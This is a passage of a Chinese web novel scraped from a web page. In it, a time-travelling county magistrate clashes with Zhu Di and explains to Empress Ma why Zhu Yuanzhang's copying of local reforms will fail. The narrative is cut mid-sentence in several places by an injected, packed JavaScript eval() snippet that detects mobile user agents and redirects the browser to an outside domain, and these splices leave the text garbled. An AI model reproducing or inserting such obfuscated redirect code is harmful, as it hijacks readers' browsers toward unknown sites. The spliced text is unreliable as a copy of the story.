闻言,褚宁十分不屑,同时她也明白朱棣这是误会自己向查猜收取费用的事情。 于是下一秒,褚宁就朝着人群喊了一句。 “查猜!在不在?滚出来回话!” 见褚宁喊自己,正在一旁看热闹的查猜连忙跳出来,回道:“褚姑娘,有何事?” 随即,查猜拨开人群走到二人面前。 褚宁此刻将身子重重压在朱棣的身上,笑眯眯的看着查猜问道:“我下面这个人说,我欺压于你,向你勒索财物,可有这事?” 一旁的朱棣闻言,也连忙朝着查猜说道: “这位兄弟,你千万不要畏惧强权。遇到不公之事尽管说出来就好,有我在必定能够护你周全!” 看着朱棣这一副要对恶势力说不的样子,查猜脖子一硬,满脸不屑。 你自己都被人按在地上爆锤,还护我周全? 要不是你刚才捣乱,指不定我还能多卖点东西呢! “你可别血口喷人,人家褚巡检每天风里来雨里去,辛辛苦苦维护治安守护和平,拿我们两个东西,算什么欺压勒索?” “不对,什么叫拿?那本来就是褚巡检的东西!” 卧槽? 朱棣顿时瞪大了双眼。 合着我这顿揍,白挨了呗? “老子亲眼看到她从你那收保护费,还拿了一串翡翠珠串!” “我他娘的为你出头,被人揍成这样,你还颠倒黑白?” 朱棣心头一紧,面色涨红。 查猜闻言,更加不屑道: “来松阳县做生意的番商,还有松阳本地的百姓,谁不知道这所谓的保护费,只不过是褚姑娘的一句戏言。” “其实这个钱,乃是我们租赁摊位所缴纳的费用,而且其中还包含了各种其他费用。” “并且价格低廉,何况这个钱也不是收到县衙,而是用于给松阳县的治安、保洁人员发放工钱。” “这钱,要是褚姑娘不收,我们还跟她急呢!” 此言一出,朱棣眼神无比疑惑,查猜这话让他似懂非懂,但从查猜还有周围人的神情上来看。 自己……似乎当真是错了! 可是,这天底下竟然有百姓主动给当官的送钱,这简直是匪夷所思,闻所未闻! 而人群中的马皇后闻言,立马就猜出了事情的来龙去脉,知晓这是朱棣好心办了坏事,和褚宁起了摩擦。 这也让她长舒一口气,只要不是什么大问题就行。 于是,马皇后走到众人面前,一脸慈爱的望着褚宁喊道:“褚妹妹,好久不见。” 褚宁见马皇后竟然又回到了松阳县,当即神色一喜,从朱棣身上下来,上前挽住了马皇后的手臂。 “干姐,你又来了,这次打算住几天,有没有在酒店办入住了,我现在就带你去!” 褚宁对马皇后无比热情,拉着马皇后的手就要带她去酒店开房。 马皇后轻笑一声,摆了摆手道:“妹子不必麻烦了,王主簿都已经替我们安排好了。” “我们?” 褚宁敏锐的捕捉到了马皇后话里的字眼,她蹙着眉头环顾四周,寻找着朱元璋的身影。 可是看了半天,都不见朱元璋的身影,这让褚宁不免有些焦急。 “朱大善哪去了?他是不是一来就去找徐彦祖的麻烦了?” 马皇后笑着摇摇头,她指着一旁的朱棣介绍道: “你朱大哥身上的担子可不轻,怎么能随时出京来松阳县呢?这一次是我的四儿子和我一起来的。” 说着,马皇后看向朱棣,对其眨了眨眼睛,话里有话:“朱小四啊,这位就是我和你说的褚宁褚姑娘,你们这可算是不打不相识了。” 朱棣知道马皇后话里的意思。 这是在告诉自己褚宁就是她口中那个极有可能是自己被人伢子拐走的妹妹,让自己不要暴露。 “她?就是小……褚宁?” 朱棣看了看马皇后,又看了看褚宁,瞬间有些头大! 他实在很难将从小就追着自己屁股后面喊四哥的可爱妹妹,跟眼前这个一身匪气,脾气乖张,武力值爆表的姑娘看成同一个人。 “娘,你确定你没有认错人?真的是她?” 朱棣打死都不敢相信。 褚宁会是懿宁妹妹? 这也太反差了! 而一旁的褚宁,当听到马皇后说朱棣是自己的四子后,双眼骤然一亮。 她绕着朱棣打量了两圈,端详片刻后得出结论: “果然是有父必有子,当爹的那么讨厌,当儿子的也是一样!” “你!大胆!” 朱棣听到褚宁竟然连带着自己和朱元璋一同侮辱,神色无比愤怒。 然而面对朱棣的愤怒,褚宁却是不恼。 她上前拍了拍朱棣的肩膀,故作姿态道:“大外甥啊,我不和你置气,我和你娘义结金兰,身为你的长辈,肯定是要让着你的。” 褚宁这老气横秋的口吻瞬间就点燃了朱棣的怒火。 毕竟不管褚宁是不是他的妹妹,年纪都比他还要小。 就这么叫他外甥,长他一辈,这让他怎么受得了? 第五十章 大骂朱元璋 然而还未等朱棣发怒,一旁的马皇后就对其呵斥道: “老四,不得无礼,我的确和褚姑娘义结金兰。” 只马皇后这一句话,就让原本打算发作的朱棣瞬间没了脾气。 他回头望着马皇后,眼里满是疑惑委屈。 那眼神好似在问: 娘,你闲着没事干搁这瞎认什么亲戚啊! 马皇后读懂了朱棣的眼神。 她讪讪一笑,当时也没有考虑那么多,稀里糊涂就认了褚宁当作姐妹。 谁能想到如今却成了褚宁戏弄朱棣的理由。 “外甥你怎么了?外甥你要不要吃糖?刚刚是小姨下手重了一些,小姨在这里给你赔礼道歉了。” 褚宁玩心大起,肆无忌惮的戏弄着朱棣。 朱棣狠狠剜了褚宁一眼,随后别过身回到马皇后的身边。 见朱棣被褚宁弄的灰头土脸,马皇后也是打起了圆场: “妹子,你就别逗我家老四了。咱们多日未见,今日可得好好一叙。” 闻言,看在马皇后的面子上,褚宁这才收起了自己的玩心。 不过还是转头对朱棣说道: “你刚才将查猜的翡翠珠串搞坏了,你得赔他。” 朱棣面色一黑,刚才分明是褚宁自己没有拿稳,如今竟然怪罪到了他的头上。 但一想到褚宁那胡搅蛮缠的样子,还有刚才戏弄自己的景象,朱棣就忍不住打了一个哆嗦。 为了避免被褚宁再次缠上,朱棣连忙掏出一点碎银放在查猜的手中。 “这下可以了吧。” 朱棣瞪了褚宁一眼,随后转身就走。 可下一秒褚宁的声音就在背后响起。 “还不行,徐彦祖曾教导我,一粥一饭当思来之不易,半丝半缕,恒念物力维艰,你还得给查猜道歉。” 褚宁这话一出,朱棣不由一愣。 他没想到如此精辟的话竟然是徐彦祖所说,正所谓从诗句便可识人,可他怎么也想不明白像徐彦祖这样的贪官污吏怎么可能作出此等诗句。 不过疑惑归疑惑,朱棣还是冲查猜欠身道歉。 此刻他的心思全都在褚宁刚才说出的话上,全然没有反应过来这件事情本身就不是他的错。 查猜自然是受宠若惊,他也看得出来朱棣必定来头不小,他一个小老头,又怎么敢接受朱棣的赔礼道歉。 然而一旁的褚宁却对朱棣的做法十分满意,同时还对查猜宽慰了一句:“查猜,这钱你就收着吧,就当刚才那串翡翠珠串的钱了。” 查猜十分无奈:“可也要不了这么多钱啊。” 不过两人却并未管他,同时转身看向另外一边。 只听见一骏马的嘶鸣。 是徐彦祖在衙役的带领下赶到了此地。 此时徐彦祖腿脚上还沾满了泥土,头上更是不知何时染上了几缕草屑。 一下马,徐彦祖就直奔马皇后而来。 而朱棣看到徐彦祖这副衣冠不整的样子,双眼顿时一亮。 他上前打算拦住徐彦祖,好好询问一下徐彦祖贪赃枉法之事。 “徐彦祖,听说松阳大酒店是你的产业,此事是否千真万确?” 可面对朱棣的询问,徐彦祖却连一个眼神都没有给他,而是跑到马皇后的面前,也学着刚才褚宁的样子四处环视。 虽然王海在手书中已经说明朱元璋并未跟着来,但在徐彦祖看来,这不过是朱元璋的障眼法而已,或者说是在故意躲着他。 因此,当徐彦祖没有发现朱元璋的身影后,他连忙对马皇后问道:“郑大姐,朱大哥呢!你快把他叫出来,我可想死他了!” 徐彦祖当然想念朱元璋,这个动不动就要治罪杀头的人,正好能够帮助徐彦祖达成夙愿。 马皇后看着徐彦祖这心急如焚的样子,十分疑惑。 毕竟徐彦祖和朱元璋两人在**上是出了名的不对付,何况朱元璋还几次三番扬言要杀徐彦祖的头,怎么如今徐彦祖倒反问起朱元璋的行踪来了。 莫非,这就是男人之间的惺惺相惜,朝廷上意见不合,可私底下却私交甚好? 不过疑惑归疑惑,马皇后还是如实回道:“徐知县,我家大人如今还在应天府,并未跟来。” “什么?朱大哥没有来?” 徐彦祖愣了一下,随后将目光落在一旁的朱棣身上。 “这小别致长得还挺玩意儿的,他是干嘛的?” 朱元璋没有来,虽然让他的愿望落空。 但刚才朱棣话语里明显有问罪的语气,徐彦祖便在心中盘算起来,如何利用朱棣下令给徐彦祖降罪。 马皇后愣了一下,看了看朱棣此时鼻青脸肿的样子,顿时有些哭笑不得。 “这是家中四子,让知县见笑了。” “你儿子?” 徐彦祖顿时失望透顶。 朱大善好歹是个皇亲加钦差,他儿子能有什么实权? 难不成自己又作死不成了? 想到这里,徐彦祖不禁悲从中来,脸色瞬间有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这大明宝钞的问题,其根本原因就是因为朱元璋想要效仿宋朝的交子,自以为很厉害,以后一爆雷,国力**二十年!这次又要效仿我松阳县的政策,一旦推行下去,这个国家就别想安定了,真是画虎不成反类犬!” 见徐彦祖竟然直接对朱元璋骂了起来,马皇后神色尴尬。 她知道徐彦祖这是为化名的朱大善打抱不平,甚至不惜触犯禁忌。 可关键在于,朱大善和朱元璋根本就是同一个人啊。 第五十一章 教训朱棣 一旁的朱棣见徐彦祖竟然敢当街口出狂悖之语痛斥朱元璋,当即勃然大怒。 “大胆,竟敢对圣上不敬,找死!” 朱棣神色狠厉,伸手朝徐彦祖擒拿而去。 马皇后没想到朱棣竟然会突然暴起对徐彦祖出声,连忙喊道:“徐知县小心!” 谁料,徐彦祖只是向后斜睨了一眼,脸上神情毫不在意。 眼见朱棣的手就快要触碰到徐彦祖的时候,后者先是偏了偏身子避开,随后双手拉住朱棣的手肘,在之后猛的一拧。 只听见咔嚓一声,朱棣的右臂就被徐彦祖轻描淡写给卸脱臼了。 看在马皇后的面子上,徐彦祖并未有其他动作,只是冷着脸看向朱棣道: “小孩子家家的,滚一边子玩蛋去!” 这突如其来的一幕,让在场的众人不禁面面相觑。 尤其是马皇后,她没想到平日里懒散的徐彦祖,武艺竟然如此高强。 在朱棣偷袭的情况下,仅凭一招就能将其制服。 看着马皇后如此惊讶的模样,一旁的褚宁则是笑着解释道: “郑大姐你也太小看我哥了,就连我这身本事都是徐彦祖教给我的,就朱小四那三脚猫的功夫,又怎么可能会是我哥的对手。” 褚宁的话让马皇后暗暗吃惊。 她没想到徐彦祖竟然深藏不露,连褚宁的功夫都是徐彦祖教的。 先是政策,后是律法,现在还有武艺! 这徐彦祖,还有什么不会的吗? 殊不知,在来到大明之前,徐彦祖曾经在九任皇帝身边做事。 历经九世,就算是头猪都起飞了,更何况是人。 也因为如此,在徐彦祖的教导下,褚宁才能在这般年纪力压**镶和朱棣。 朱棣连褚宁都打不过,更不要说能碰瓷徐彦祖了。 “你怎么会?” 朱棣同样一脸震惊,但紧随其后的就是恼怒。 徐彦祖不但骂了朱元璋,甚至还将他的膀子给卸了下来,这在他看来,无疑是肆意践踏皇家威严。 因此,哪怕右手没有知觉,朱棣也依然冲向一旁,用左手抓起宝剑。 见状,徐彦祖眼里闪过一抹厉色。 老子连祖龙始皇帝那根晾衣竿一样长的剑都不怕,怕你这把破剑? 他是一心求死,可却只能死在朱元璋手上! 想到这里,徐彦祖纵身一跃来到朱棣面前,活动着手腕说道: “看来你这小子已经神志不清了,连是非好坏都分不清楚,那我今天就替你爹好好教训教训你。” 说着,徐彦祖伸手就是一拳击中朱棣的胸口,将其打的倒飞出去。 看到这一幕的马皇后心疼的不行。 只是玉不琢不成器,自己千叮咛万嘱咐让他收收脾气,他还不听话,也该被教训一下。 而朱棣听到徐彦祖居然说要替朱元璋好好教训自己时,顿时一股逆血上涌。 他伸着手,颤颤巍巍的指着徐彦祖说道:“你竟敢说出如此大逆不道之话,本王……” “够了!老四!给我闭嘴!” 眼见朱棣要将自己的身份暴露,马皇后立刻呵斥道。 “你还要闹到什么时候,我和褚姑娘义结金兰,徐知县和你父亲又情同手足,他代你父亲教训你是应该的!” 马皇后这句话算是彻底堵住了朱棣想说的话。 以辈分来压他,让朱棣哑口无言。 朱棣知道马皇后出面,那么这件事情就这样算了,他也无法治罪徐彦祖,因此索性别过头去。 而一旁的褚宁和徐彦祖则是神色怪异,尤其是徐彦祖。 他怎么不知道自己和朱大善情同手足? 要知道自打朱大善来到松阳县之后,就经常没事找事。 而他每一次都不惯着朱大善,主打的就是一口气都不忍,一点委屈都不受,全都顶撞了回去。 就算后面勾肩搭背能够聊上几句,也只不过是逢场做戏而已,要说交情那肯定是没有的。 马皇后见徐彦祖脸色难看,还以为他没消气,连忙说道: “徐知县,犬子顽劣,不懂礼数,还望徐知县勿怪。” 徐彦祖摆了摆手,不看僧面看佛面,马皇后和褚宁关系那么好,他就算要教训朱棣,也会留手。 更何况现在马皇后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱棣被马皇后这突如其来的一巴掌拍的愣在原地。 不过当他反应过来之后,还是不情不愿的朝着徐彦祖俯身说道:“谢……徐知县。” 说完,朱棣便耍起了性子,头也不回的朝酒店而去。 一旁的马皇后见状,也是有些无奈。 好在徐彦祖只是笑着摇了摇头,并未在意。 随后,在马皇后的邀请下,徐彦祖带着褚宁一同来到酒店。 毕竟出了这么大的误会,马皇后说什么都要让朱棣给徐彦祖和褚宁赔罪,同时也想在饭桌上向徐彦祖请教其中的玄机。 饭桌上,朱棣满脸的不悦,不是因为被马皇后强行带来赴宴,而是因为褚宁一直在旁边直呼他的化名。 一口一个小厮,一嘴一个姑姑,听的朱棣坐立难安。 要不是马皇后那严厉的眼神,还有想听听徐彦祖作何解释,朱棣早就起身摔门而去了。 “徐知县,不知你刚才那些话,是何意思?一国之法都可以用在一县之地上,可为什么倒过来,一县之法反而不能推广下去呢?” 马皇后问出了心中的困惑。 闻言,徐彦祖先夹了一口菜,又喝了口茶水漱了漱口,这才不紧不慢的对马皇后问道:“郑大姐你可知陛下这样的行为叫什么吗?” “叫什么?” 马皇后不禁一愣。 “叫抄袭!叫学术剽窃!这和偷盗有什么区别,你说一个人拿了不属于自己的东西,他能用好吗?” 徐彦祖这话让马皇后心头一惊。 一旁的朱棣更是皱起了眉头,全天下敢说朱元璋偷盗的人,只怕就剩徐彦祖一人了。 “普天之下莫非王土,率土之滨莫非王臣,全天下什么东西不是陛下的,我还是第一次听说陛下借鉴一县之策就成了偷盗,徐知县你可真敢说啊!” 朱棣心中对徐彦祖还留有怨气,自然不会放过针对徐彦祖的机会。 谁料,徐彦祖只是淡淡对其问道: “那我问你,这松阳县的律法是谁想出来的,是他老朱不成?再者说,古往今来那么多的圣人之言,古人之诗,照你这么说,岂不是都成了历代皇帝的私有物,那还要这些圣人诗人作甚,靠皇帝一个人不就可以著作群书,博览天下?” 这一番话,说的朱棣哑口无言。 见朱棣说不出话,徐彦祖神色一变,声音拔高:“回答我!Looking my eyes!” 朱棣被吓了一跳,不过为了保留皇家的颜面,还是嘴硬道:“那你也不能说偷,最多只能是借。” 徐彦祖嘴角扬起一抹弧度:“我懂,皇帝老儿的事情,怎么能叫偷呢,叫借。” 见徐彦祖一脸的嘲讽,朱棣心中怒火更甚,可一旁马皇后却将茶杯叩在桌上,很明显是在提醒朱棣。 “律法就算了,还擅自将松阳县的发展沿用到其他州府县衙,这无异于给大明提前挖坟!” 马皇后直接起身,朝徐彦祖躬身请求道。 “徐知县还请直言,这其中究竟有何问题。” 作为大明的贤后,马皇后的眼界非同小可,她已经从刚才徐彦祖的话语中察觉到了危机。 只是尚不知晓这危机来自何处,但一想到之前徐彦祖那严肃的神情,她就知道事情绝对没有表面上看起来那么简单。 徐彦祖也没有打算隐瞒,他对马皇后解释道: “郑大姐,你别看现如今松阳县一副欣欣向荣的景象,要知道这也是经历了大大小小数十场的改革变动才达成的,如果仅仅只是照葫芦画瓢的话,是不可能将我松阳县的政策推广下去的,甚至还会引起内乱。” “而所谓的改革,其实和变法类似,我看郑大姐你也博览群书,应当知道变法会受到多么大的阻力。” 徐彦祖幽幽一叹,自古以来,凡是变法改革,都不是那么简单就能进行下去的,其中所遇到的阻力危险更非寻常人能够解决。 徐彦祖的话让马皇后似懂非懂,神色更加疑惑。 “阻力?徐知县,这些利好国民的事情,竟然也会遭遇阻力不成?” 一旁的朱棣也被徐彦祖的话吸引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15697120|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不禁问道。 徐彦祖点点头,眼里闪过一丝追忆。 他继续对着二人说道:“想当初,我初来松阳县的时候,这松阳县还十分贫瘠落后,吃不饱穿不暖那是常有的事,而且县城中的官员和几个乡绅地主更是沆瀣一气狼狈为奸,每日以剥削欺压百姓为乐。” “在这样的情况下,我虽然贵为一县之尊,可空有虚名并无实权,虽然经过一次次的改革后,松阳县的情况慢慢好转,但是其中遇到的阻力是来自多方面的。” “首当其冲就是百姓。” 此言一出,朱棣和马皇后更加费解。 毕竟改革的直接受益者就是百姓,为何阻力会来自百姓? “改革也好,变法也罢,对于百姓而来,虽然说不上洪水猛兽,可也是一件全新的事物,恰恰因为百姓最需要的就是安定守旧,因此他们是很难去接受新事物的,加之一开始的改革对百姓的利益还不会凸显,因此百姓很难理解我的作为。” 徐彦祖这样一说,朱棣马皇后二人便明白了。 更何况,为了方便统治,自古以来朝廷都在施行**策,没有自己的思想,自然就难以接受新的事物。 紧接着,徐彦祖又竖起了三根手指。 “除了百姓的不理解之外,官吏的不支持,乡绅的不照办,匪患的不安定,同样也是改革的阻力,甚至这三点还是互相依附,狼狈为奸,一县之地尚且如此,倘若是整个大明都遇到了这样的问题,国家岂不瞬间就会进入到**之中?” 此言一出,马皇后和朱棣瞬间就陷入了沉思之中。 “可这一次乃是陛下下令,下面的官员必定会遵从,只要官员遵从,那么乡绅和匪患自然算不了什么。” 朱棣思考之后,还是觉得这些都不算什么大问题。 谁料,听到朱棣这话,徐彦祖却不屑说道:“天真!” “你以为皇帝的指令人人都会遵从?你就没有想过有人阳奉阴违?更何况这可是损害自己利益的事情,正所谓挡人财路如**父母,在利益面前,皇帝的命令算个屁!” 第五十三章 县策问题 “你!大胆!” “你一个小小的知县,竟然三番五次辱骂皇上,你以为人人都像你一样违抗皇命不成?” 朱棣实在没想到,徐彦祖竟然不拿朱元璋当回事,张口闭口都是对朱元璋不敬。 要知道这可是大不敬之罪,那可是杀头的大罪,这徐彦祖当真不怕死吗? 其实朱棣并不知道,徐彦祖这样说,也不过是给自己身上多添加一条罪名,方便日后朱元璋秋后算账,为了死在朱元璋的手里,徐彦祖当真是做了不少努力啊。 “行了,朱元璋又不在这里,你表忠心给谁看呢。” 徐彦祖鄙夷的看了朱棣一眼。 随后继续说道:“就算上面这些没有问题,你后面建设的时候,前期投入巨大,商场如战场,要是没有足够的经商头脑,很有可能投入就会完全打水漂,并且每个地方的发展产物都不同,我松阳县的农业发展好,是因为这里只适合种植农作物,若是沿海呢?” “就算因地制宜,我之前说的所有条件全都克服了,试问,当你手中握着巨大的利润之后,你该怎么办?” 这个问题,徐彦祖将其抛给了朱棣。 朱棣义正词严说道:“自然是取之于民用之于民,将这些利润用在百姓身上。” 徐彦祖对朱棣的回答并不意外,只是他笑的无比讥讽。 “你想要做清廉之士,可你别忘了手下还养活着一大群人。这些人会怎么想,就如同**一样,都是打天下的兄弟,你当了皇帝,难道不给他们加官晋爵大加封赏?” “更何况,天底下有几个廉洁之士,财帛动人心,在巨大的利益面前,谁能保证自己不会动摇?” “倘若现在你面前放着几大箱的真金白银,你敢说自己不会心动吗?” 徐彦祖这一连串的问题问的朱棣脸色发白。 他扪心自问,要是真有那么多的黄金白银放在面前,他不可能不动心,他也是有欲望的人,又是在血气方刚的年纪,做不到清心寡欲。 “所以,倘若做不到这些,谈何推广?就算推广,最终受益的人也不会是百姓,反而会让百姓的生活更加困苦。” “松阳县有我坐镇,能够保证每一分钱都用在实地上,老百姓种地,养殖,纺线,织布,挣的钱有八成能够落进自己口袋里。” “其他地方呢?能有几成?五成?三成?还是一成?” “到时候不仅无法福泽百姓,反而给了那些贪官污吏更多压榨百姓,攫取劳动力的措施!” “到时候,老百姓会骂谁?总不会骂我这个名不见经传的松阳知县吧?” 徐彦祖之所以怒骂朱元璋,也正因为如此。 贸然推广松阳县的一切,一着不慎,只会引来更大的祸患。 “二位设想一下,如今陛下亲自下旨,那些官员不加以阻拦,是为了什么?” 说到最后,徐彦祖朝马皇后和朱棣询问道。 马皇后和朱棣不由面面相觑。 这个问题的答案显而易见。 为什么不加以阻拦,自然是为了借着圣旨的幌子剥削百姓。 一旦推广下去,极有可能会滋养出一群剥削百姓欺瞒朝廷的蛀虫。 千里之堤溃于蚁穴,到了那个时候,大明当真就要千疮百孔了。 想明白了这一点,马皇后脸上顿时浮现忧色。 朱棣更是冷汗直流,他没想到这背后竟然隐藏着如此大的问题,亏他还一直替这件事情说话,这岂不是在为虎作伥! 马皇后知道事情的严重性,而且推广县策一事到如今已经过去了不少的时日,只怕已经出现了乱局。 她连忙对徐彦祖问道:“徐知县,事已至此,只怕那些县城应该遇到了你所说的阻力,甚至极有可能出现了乱局,如此该如何是好?” 解铃还须系铃人,马皇后相信徐彦祖一定会有办法的。 徐彦祖摊了摊手,风轻云淡说道:“如果真出现了这个事情,一个字,杀。” “自古以来,凡是改革变法,都伴随着流血牺牲。只要杀的人足够多,杀的那些人胆寒,杀的他们不敢胡作非为,自然就能拨乱反正。” 在徐彦祖看来,这就是最快解决的办法,也十分符合朱元璋这位开国皇帝。 徐彦祖的话让马皇后神色一变。 这些年来,朱元璋杀的人已经够多了,甚至在她看来,正因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702047|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为徐彦祖的这些杀戮行径,上天才会惩罚她,惩罚朱元璋和女儿走失,如今女儿实际上是在替她们受苦。 因此,马皇后这些年来,一直都劝导朱元璋不要轻易犯下杀戒。 如今又再一次从徐彦祖口中听到用杀戮来平息**的方法,她马皇后不愿,也不能让朱元璋这样去做, 于是,马皇后开口对徐彦祖问道: “徐知县,你也知道我家大人只不过是一个钦差大臣,他又杀得了多少人,何况这样下去岂不是人心惶惶,有没有比较温和的办法,不**最好。” 面对马皇后的询问,徐彦祖点点头,他只是说最快的方法,但能不能用,适不适合自然要让马皇后自己来做决定。 何况随意屠戮百姓已然是重罪,更不要说**官员,当今大明除了朱元璋外,谁敢这样去做。 “郑大姐,其实说到底,这件事情并没有你们想的那么复杂,现如今最缺乏的还是人才和经验,只需要让我,或者我的亲信过去主持大局,让朱大哥听命行事,一切问题想必都能迎刃而解。” 在徐彦祖看来,如今朱大善是以钦差大臣的身份去推行这件事情,手中的权力巨大,只要自己这边有人过去传授经验,出谋划策,自然什么问题都会迎刃而解。 马皇后神色一喜,派徐彦祖这边的人过去再合适不过了,她立马问道:“不知徐知县是打算亲自过去还是派人过去?” 徐彦祖伸了个懒腰,像他这样懒惰的人,怎么可能会亲自过去。 而且过去之后一旦改革成功,岂不是给了朱元璋不杀他的理由,倒还不如让自己的亲信过去,也免得日后自己被朱元璋杀了之后连累他们,到了现在这个时候,他也应该为这些属下找些退路了。 “郑大姐,把王海派过去就行了,自从我开始改革之后,他就一直跟在我身边,经验丰富。松阳县周边几个县城的商业扩展也都是他亲自过去主持大局的。必定可以帮助朱大哥解决那些问题的。” 马皇后点点头,现如今她心中的大石头总算是落地了。 同时,马皇后也向徐彦祖保证道:“徐知县还请放心,到了那边之后我家老爷一定不会亏待王主簿的。” 第五十四章 朱棣拜师 宴席结束后,徐彦祖就急匆匆回去,既然安排王海过去那边协助朱大善推行县策,那他还有很多事情要交代王海。 等到徐彦祖走后,马皇后则是将朱棣交到房中,屏退了侍卫婢女。 “老四,刚才徐彦祖说的话你也听到了,你怎么看?” 马皇后看向朱棣问道。 朱棣思索片刻后,重重点头说道: “我觉得徐彦祖说的很对,父皇贸然修订大明律,就已经触及了那些淮西勋贵的利益,听闻他们中有不少人早就对此有所不满,这一次推行的县策更是彻底会削减他们的利益,然而朝堂上下却没有人出声反对,说明他们早就商量好了对策!” “在这样的情况下,这些勋贵和地方官员沆瀣一气,势必会对圣旨阳奉阴违,因此不得不防。” “律法改革还是小事,主要是父皇推行松阳县的商业规划,如果真的按照徐彦祖所说的,大明未来岌岌可危。” “必须及早告知父皇,能停则停,实在停不了,再派遣真正懂行的人过去!” 朱棣的话让马皇后甚感欣慰。 她就怕朱棣还因先前的事情对徐彦祖有怨恨,毕竟这一次朱元璋派朱棣前来松阳县,可不是来和徐彦祖闹脑堵憋的,而是真的希望朱棣能够在徐彦祖身边学到一些东西。 随后,马皇后立刻提笔,将刚才从徐彦祖那里得知的利弊全都写了上去,并且还推荐王海执掌一切推行县策的事务。 紧接着,马皇后叫来锦衣卫。 “八百里加急,务必用最快的事情传到陛下手中。” 做完这一切之后,马皇后这才松了一口气。 她转过身,对着朱棣问道:“老四啊,你觉得徐彦祖的才华如何?” 朱棣沉吟片刻,说道:“儿臣看来,这徐彦祖好像真的有些真才实学。” “你啊!有就是有,没有就是没有,好像是怎么回事!” 马皇后轻笑一声。 “你看看如今这松阳县的发展,哪一个不是徐彦祖亲力亲为才创造出来的,这可不是寻常人能够办到的事情。” “更何况,你知道松阳县的产业有多么庞大吗?” 朱棣摇摇头,他也才刚到松阳县,对于松阳县的了解更多是来自马皇后的口述。 马皇后随即就带着朱棣出门,来到了最近的种植基地。 “看到了吧,像这样规模庞大的种植基地,在松阳县可不止一个!更别说松阳县还养殖猪鸡鸭鱼,制造水泥,也就是铺路所需要的东西。” 马皇后的话,让朱棣忍不住使劲揉了揉眼睛。 望着那漫山遍野的蔬菜,朱棣此刻已经在怀疑这当真是一个偏远的县城吗? 看这富庶程度,比之应天府都丝毫不差,甚至还有过之! “老四,现在你应该知道为什么你父皇和大哥要将你送来松阳县了吧,倘若有一天我们可以将松阳县的盛况完完全全扩展到整个大明朝,让每个县城都过上这样的日子,那我大明将迎来史无前例的盛世!” 马皇后的声音高昂,情绪激动。 一旁的朱棣也因为这话心潮澎湃,他不禁开始想象,要是真有那么一天,天底下的人个个都能吃饱饭,而他们朱家在史上的地位,甚至可以位居第一等! “母后,儿臣明白了。” 此刻的朱棣,才算是明白了朱元璋和朱标的良苦用心。 “还请母后放心,儿臣必定会虚心请教,和徐彦祖**得一身本领!” 闻言,马皇后满意的点了点头,有朱棣这话,她才算是彻底放心了。 “既然如此,那从明日开始,你就去找徐彦祖学本事,我则是去打探你妹妹的消息。” 马皇后自然也有自己的事情要做,这一次她可是抱着要寻找女儿的决心而来的。 听到马皇后提到妹妹,朱棣的脑海中就浮现出褚宁的脸,这让他忍不住打了个哆嗦。 要褚宁当真是他的妹妹,那他以后的生活,还能安定吗? 朱棣对此表示怀疑。 但同时他也希望,马皇后真的能够找到妹妹,哪怕是褚宁也可以,毕竟这些年来,他不止一次见到马皇后因为妹妹的事情偷偷流眼泪。 一夜无话,次日一早。 徐彦祖依旧是睡到日照三竿才行,然后刚起床走出房间,就看到县衙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702048|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的门口站着一道人影,只不过没门檐遮挡住了半边身子,认不出是谁。 “门外站着的那人是谁啊?” 他一边洗漱,一边对下人询问。 下人连忙回道:“回知县大人,是朱小四,他一早就来到门口了,说是要拜师。” “拜师?” 徐彦祖眉头一皱,他拿起丝巾三下五除二抹了把脸就朝着门口走去。 刚到门口,就看到朱棣笔直如松的站在门口,活脱脱一个带刀侍卫。 “朱小四,你这是在干嘛?我听下人说你要拜师,那你去找褚宁就行。” 徐彦祖觉得,朱棣多半是因为昨日之耻,所以想要学习武艺。 不过他可没兴趣教导朱棣武艺,教一个褚宁就已经让他头大了。 以至于徐彦祖现在时不时就要和褚宁说一句,你要是以后惹出事来,可千万不要把我给供出来啊。 